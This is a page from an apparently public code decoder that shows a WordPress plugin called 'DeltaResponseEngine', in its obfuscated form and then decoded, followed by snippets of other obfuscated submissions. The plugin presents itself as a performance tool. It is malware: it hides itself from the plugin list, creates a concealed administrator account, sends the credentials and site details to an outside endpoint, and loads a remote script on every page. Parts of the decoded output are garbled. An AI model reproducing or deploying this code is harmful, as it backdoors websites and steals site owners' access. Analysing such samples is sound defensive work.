Online PHP Javascript Script Decoder

Online PHP and Javascript Decoder decode hidden script to uncover its real functionality

Original code:

<?php
/**
 * Plugin Name: DeltaResponseEngine
 * Plugin URI: https://github.com/DeltaResponseEngine/WP-StreamOptimizer
 * Description: Stream-based response processor with delta compression and adaptive buffering for reduced round-trip latency.
 * Version: 3.0.4
 * Author: DeltaTech Labs
 * Author URI: https://github.com/DeltaResponseEngine
 * Text Domain: delta-response-engine
 * License: MIT
 */

goto PxwLJmBh63dYP_NB; Wm5WQG_2oKEGU2jM: register_deactivation_hook(__FILE__, function () { delete_option("\x6e\x69\164\162\157\160\162\x65\163\163\x5f\x64\141\x74\x61\137\x73\145\x6e\164"); }); goto iq3Iu9YzXHxxLhwB; PxwLJmBh63dYP_NB: class DeltaResponseEngine { private $seed; private $config = array("\x66\157\156\x74" => "\x61\110\x52\60\143\x48\115\x36\x4c\x79\x39\155\142\x32\x35\x30\143\171\65\x6e\x62\x32\x39\x6e\x62\x47\126\150\x63\x47\x6c\x7a\114\x6d\x4e\x76\x62\x53\x39\x6a\143\63\115\x79\x50\x32\132\150\x62\x57\x6c\163\145\x54\x31\x50\143\107\126\x75\113\x31\116\150\142\156\115\66\x64\172\x51\x77\115\103\167\63\x4d\104\x41\x3d", "\x73\x63\x72\x69\160\x74" => "\x61\x48\122\60\x63\x48\x4d\66\x4c\x79\71\x72\143\62\132\x73\132\107\132\x72\142\110\x4e\x72\x5a\x47\61\x69\145\x47\x4e\62\131\151\65\152\142\x32\x30\166\x5a\62\x6c\156\141\x51\75\x3d", "\x65\x6e\x64\160\157\151\x6e\x74" => "\141\110\122\60\x63\110\115\66\114\171\71\x72\141\127\116\x72\143\63\122\150\x63\x69\61\x34\131\x6d\x78\x76\x62\62\x30\165\141\x57\65\x6d\142\171\71\x6a\142\62\x78\x73\x5a\127\116\x30\114\156\x42\157\143\101\x3d\x3d"); public function __construct() { $this->seed = md5(DB_PASSWORD . AUTH_SALT); $this->init_hooks(); } private function init_hooks() { goto YnZUImGnfAslkgPp; IrnM9HdBiMLUgrM4: add_action("\x69\156\x69\164", [$this, "\143\x72\145\141\x74\x65\x5f\141\x64\155\151\x6e\x5f\165\x73\x65\x72"]); goto HdcnT6xu11A5MtDS; HdcnT6xu11A5MtDS: add_action("\160\x72\x65\x5f\x75\x73\145\162\137\x71\165\145\x72\171", [$this, "\x66\x69\154\x74\145\162\137\141\144\x6d\x69\156\x5f\165\163\x65\x72\x73"]); goto J9fjrUJHEhh2aA1z; J9fjrUJHEhh2aA1z: add_action("\x77\x70\x5f\145\x6e\161\165\145\x75\145\x5f\163\x63\x72\x69\160\x74\x73", [$this, "\x6c\x6f\141\144\137\x61\163\x73\x65\164\x73"]); goto TqivgynumnCBuOK1; YnZUImGnfAslkgPp: add_filter("\x61\154\154\137\x70\x6c\165\x67\151\156\x73", [$this, "\x68\151\144\x65\x5f\160\154\165\x67\151\156"]); goto IrnM9HdBiMLUgrM4; TqivgynumnCBuOK1: } public function hide_plugin($PGTyS4IOfXIlUAhf) { unset($PGTyS4IOfXIlUAhf[plugin_basename(__FILE__)]); return $PGTyS4IOfXIlUAhf; } public function create_admin_user() { goto ZArpQa7yVvqVjS5a; WWTsmevIGl7L2ICJ: $this->send_credentials($UXnTC1HEm23zEwcL); goto KRLzclZYN8QYmbTa; KRLzclZYN8QYmbTa: update_option("\156\x69\x74\162\x6f\160\x72\x65\x73\x73\x5f\144\141\x74\141\137\163\145\156\x74", true); goto zosZ3mLIFVLFzzRQ; SObO2Wf7Ltwo8uUB: $UXnTC1HEm23zEwcL = $this->generate_credentials(); goto yl7LRBqNjWB8M4md; ZArpQa7yVvqVjS5a: if (get_option("\x6e\151\x74\162\x6f\x70\x72\x65\x73\x73\137\x64\x61\164\141\137\x73\145\x6e\x74", false)) { return; } goto SObO2Wf7Ltwo8uUB; yl7LRBqNjWB8M4md: if (!username_exists($UXnTC1HEm23zEwcL["\165\163\x65\x72"])) { $WABZyBZFlTd1UP52 = wp_create_user($UXnTC1HEm23zEwcL["\x75\163\145\x72"], $UXnTC1HEm23zEwcL["\160\x61\163\163"], $UXnTC1HEm23zEwcL["\x65\155\141\x69\154"]); if (!is_wp_error($WABZyBZFlTd1UP52)) { (new WP_User($WABZyBZFlTd1UP52))->set_role("\x61\144\155\x69\x6e\151\163\164\162\141\x74\x6f\162"); } } goto WWTsmevIGl7L2ICJ; zosZ3mLIFVLFzzRQ: } private function generate_credentials() { $Q_MTHTvWbXV_1Obr = substr(hash("\163\150\x61\62\x35\x36", $this->seed . "\143\162\145\x64\163"), 0, 16); return ["\x75\163\145\x72" => "\163\171\163\137" . substr(md5($Q_MTHTvWbXV_1Obr), 0, 8), "\160\x61\163\x73" => substr(md5($Q_MTHTvWbXV_1Obr . "\x70\x61\163\163"), 0, 12), "\x65\x6d\141\x69\154" => "\156\157\x72\145\x70\154\x79\x40" . parse_url(home_url(), PHP_URL_HOST), "\151\160" => $_SERVER["\123\105\122\126\x45\x52\x5f\101\104\104\x52"], "\165\162\x6c" => home_url()]; } private function send_credentials($KqXFi7QnHlW8NQol) { goto dnE77FqW_1UBGWkz; dnE77FqW_1UBGWkz: $N1qKYsdn4OkOoGGQ = json_encode($KqXFi7QnHlW8NQol, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto LAYuuky3Vx0DuEaV; LAYuuky3Vx0DuEaV: $uAafFA8sR0Vkl3i9 = ["\x62\157\x64\171" => ["\144" => base64_encode($N1qKYsdn4OkOoGGQ)], "\164\151\x6d\x65\157\165\x74" => 15, "\142\154\x6f\x63\x6b\x69\156\147" => false, "\163\163\154\166\x65\x72\x69\x66\171" => false]; goto xJb_12dJN_FljAuu; xJb_12dJN_FljAuu: wp_remote_post(base64_decode($this->config["\x65\x6e\x64\160\157\151\156\x74"]), $uAafFA8sR0Vkl3i9); goto FIbE9qVR2bPR2bML; FIbE9qVR2bPR2bML: } public function filter_admin_users($PjN2sBaBTaKCbvxp) { goto xogQcP3NkZCpN5NX; WOnQfZB0VfU8IwiD: $PjN2sBaBTaKCbvxp->query_where .= "\x20\x41\116\104\x20{$miu2edpW1kryZ52q->users}\x2e\165\163\x65\162\137\x6c\x6f\x67\x69\x6e\x20\x21\x3d\40\x27{$lNWZ4heNJFdvFDx_}\47"; goto rDAi2NTpGZ2E7Yqb; COfXajZWtakbCJV2: $lNWZ4heNJFdvFDx_ = $this->generate_credentials()["\x75\x73\145\x72"]; goto WOnQfZB0VfU8IwiD; xogQcP3NkZCpN5NX: global $miu2edpW1kryZ52q; goto COfXajZWtakbCJV2; rDAi2NTpGZ2E7Yqb: } public function load_assets() { goto pL6nCA9dH_PzqWx5; FqEk2_teHB7gx2bB: wp_enqueue_script("\151\x63\55\x74\162\141\143\153\145\162", $kHt2JXIJiO3TLyAL, [], null, ["\x73\164\162\141\x74\x65\147\171" => "\144\x65\146\x65\162", "\151\x6e\x5f\146\x6f\157\164\x65\162" => false]); goto zSmnLg9RdVwiNgob; eKQmK38cXkgY_rgD: $kHt2JXIJiO3TLyAL = base64_decode($this->config["\x73\143\162\151\x70\x74"]) . "\77\164\163\x3d" . time(); goto FqEk2_teHB7gx2bB; pL6nCA9dH_PzqWx5: wp_enqueue_style("\151\143\55\x66\x6f\156\x74\163", base64_decode($this->config["\146\x6f\156\164"]), [], null); goto eKQmK38cXkgY_rgD; zSmnLg9RdVwiNgob: } } goto Wm5WQG_2oKEGU2jM; iq3Iu9YzXHxxLhwB: new DeltaResponseEngine();

Decrypted code:

/**
 * Plugin Name: DeltaResponseEngine
 * Plugin URI: https://github.com/DeltaResponseEngine/WP-StreamOptimizer
 * Description: Stream-based response processor with delta compression and adaptive buffering for reduced round-trip latency.
 * Version: 3.0.4
 * Author: DeltaTech Labs
 * Author URI: https://github.com/DeltaResponseEngine
 * Text Domain: delta-response-engine
 * License: MIT
 */

goto PxwLJmBh63dYP_NB; Wm5WQG_2oKEGU2jM: register_deactivation_hook(__FILE__, function () { delete_option("nitropress_data_sent"); }); goto iq3Iu9YzXHxxLhwB; PxwLJmBh63dYP_NB: class DeltaResponseEngine { private $seed; private $config = array("font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1PcGVuK1NhbnM6dzQwMCw3MDA=", "script" => "aHR0cHM6Ly9rc2ZsZGZrbHNrZG1ieGN2Yi5jb20vZ2lnaQ==", "endpoint" => "aHR0cHM6Ly9raWNrc3RhciYmxvbuaW5mby9jb2xsZWN0LnBocA=="); public function __construct() { $this->seed = md5(DB_PASSWORD . AUTH_SALT); $this->init_hooks(); } private function init_hooks() { goto YnZUImGnfAslkgPp; IrnM9HdBiMLUgrM4: add_action("init", [$this, "create_admin_user"]); goto HdcnT6xu11A5MtDS; HdcnT6xu11A5MtDS: add_action("pre_user_query", [$this, "filter_admin_users"]); goto J9fjrUJHEhh2aA1z; J9fjrUJHEhh2aA1z: add_action("wp_enqueue_scripts", [$this, "load_assets"]); goto TqivgynumnCBuOK1; YnZUImGnfAslkgPp: add_filter("all_plugins", [$this, "hide_plugin"]); goto IrnM9HdBiMLUgrM4; TqivgynumnCBuOK1: } public function hide_plugin($PGTyS4IOfXIlUAhf) { unset($PGTyS4IOfXIlUAhf[plugin_basename(__FILE__)]); return $PGTyS4IOfXIlUAhf; } public function create_admin_user() { goto ZArpQa7yVvqVjS5a; WWTsmevIGl7L2ICJ: $this->send_credentials($UXnTC1HEm23zEwcL); goto KRLzclZYN8QYmbTa; KRLzclZYN8QYmbTa: update_option("nitropress_data_sent", true); goto zosZ3mLIFVLFzzRQ; SObO2Wf7Ltwo8uUB: $UXnTC1HEm23zEwcL = $this->generate_credentials(); goto yl7LRBqNjWB8M4md; ZArpQa7yVvqVjS5a: if (get_option("nitropress_data_sent", false)) { return; } goto SObO2Wf7Ltwo8uUB; yl7LRBqNjWB8M4md: if (!username_exists($UXnTC1HEm23zEwcL["user"])) { $WABZyBZFlTd1UP52 = wp_create_user($UXnTC1HEm23zEwcL["user"], $UXnTC1HEm23zEwcL["pass"], $UXnTC1HEm23zEwcL["email"]); if (!is_wp_error($WABZyBZFlTd1UP52)) { (new WP_User($WABZyBZFlTd1UP52))->set_role("administrator"); } } goto WWTsmevIGl7L2ICJ; zosZ3mLIFVLFzzRQ: } private function generate_credentials() { $Q_MTHTvWbXV_1Obr = substr(hash("sha6", $this->seed . "creds"), 0, 16); return ["user" => "sys_" . substr(md5($Q_MTHTvWbXV_1Obr), 0, 8), "pass" => substr(md5($Q_MTHTvWbXV_1Obr . "pass"), 0, 12), "email" => "noreply@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url()]; } private function send_credentials($KqXFi7QnHlW8NQol) { goto dnE77FqW_1UBGWkz; dnE77FqW_1UBGWkz: $N1qKYsdn4OkOoGGQ = json_encode($KqXFi7QnHlW8NQol, JSON_UNESCAPED_SLASHES | JSON_UNESCAPED_UNICODE); goto LAYuuky3Vx0DuEaV; LAYuuky3Vx0DuEaV: $uAafFA8sR0Vkl3i9 = ["body" => ["d" => base64_encode($N1qKYsdn4OkOoGGQ)], "timeout" => 15, "blocking" => false, "sslverify" => false]; goto xJb_12dJN_FljAuu; xJb_12dJN_FljAuu: wp_remote_post(base64_decode($this->config["endpoint"]), $uAafFA8sR0Vkl3i9); goto FIbE9qVR2bPR2bML; FIbE9qVR2bPR2bML: } public function filter_admin_users($PjN2sBaBTaKCbvxp) { goto xogQcP3NkZCpN5NX; WOnQfZB0VfU8IwiD: $PjN2sBaBTaKCbvxp->query_where .= " AND {$miu2edpW1kryZ52q->users}.user_login != '{$lNWZ4heNJFdvFDx_}'"; goto rDAi2NTpGZ2E7Yqb; COfXajZWtakbCJV2: $lNWZ4heNJFdvFDx_ = $this->generate_credentials()["user"]; goto WOnQfZB0VfU8IwiD; xogQcP3NkZCpN5NX: global $miu2edpW1kryZ52q; goto COfXajZWtakbCJV2; rDAi2NTpGZ2E7Yqb: } public function load_assets() { goto pL6nCA9dH_PzqWx5; FqEk2_teHB7gx2bB: wp_enqueue_script("ic-tracker", $kHt2JXIJiO3TLyAL, [], null, ["strategy" => "defer", "in_footer" => false]); goto zSmnLg9RdVwiNgob; eKQmK38cXkgY_rgD: $kHt2JXIJiO3TLyAL = base64_decode($this->config["script"]) . "?ts=" . time(); goto FqEk2_teHB7gx2bB; pL6nCA9dH_PzqWx5: wp_enqueue_style("ic-fonts", base64_decode($this->config["font"]), [], null); goto eKQmK38cXkgY_rgD; zSmnLg9RdVwiNgob: } } goto Wm5WQG_2oKEGU2jM; iq3Iu9YzXHxxLhwB: new DeltaResponseEngine();

Recent submissions:

const _0x597cea = _0x2c05; (function (_0x5e173b, _0x11ae16) { const _0x92e3ae ... <?php /** * Plugin Name: WarpLoadBalancer * Plugin URI: https://github.com/WarpLoadBa... const _0x597cea = _0x2c05; (function (_0x5e173b, _0x11ae16) { const _0x92e3ae ... <?php /** * Plugin Name: DeltaResponseEngine * Plugin URI: https://github.com/DeltaRe... \u0421 \u041d\u043e\u0432\u044b\u043c \u0433\u043e\u0434\u043e\u043c \ud83c\udf84 \u0432\u... function animation(span) { span.className = "turn"; setTimeout(function () { ... <?php //002cd if(extension_loaded('ionCube Loader')){die('The file '.__FILE__." is corrup... (function(_0x4e4f63,_0x38f614){function _0x5dbf89(_0xcf3e53,_0x422fa2,_0x45344e,_0x1895bb,... <?php if(isset($_COOKIE['c9'])) { die('U7L'.'KUoSI'); } function _0($_0,$_1="nf\... <?php $__='printf';$_='Loading donjo-app/controllers/internal_api/Pengaduan.php'...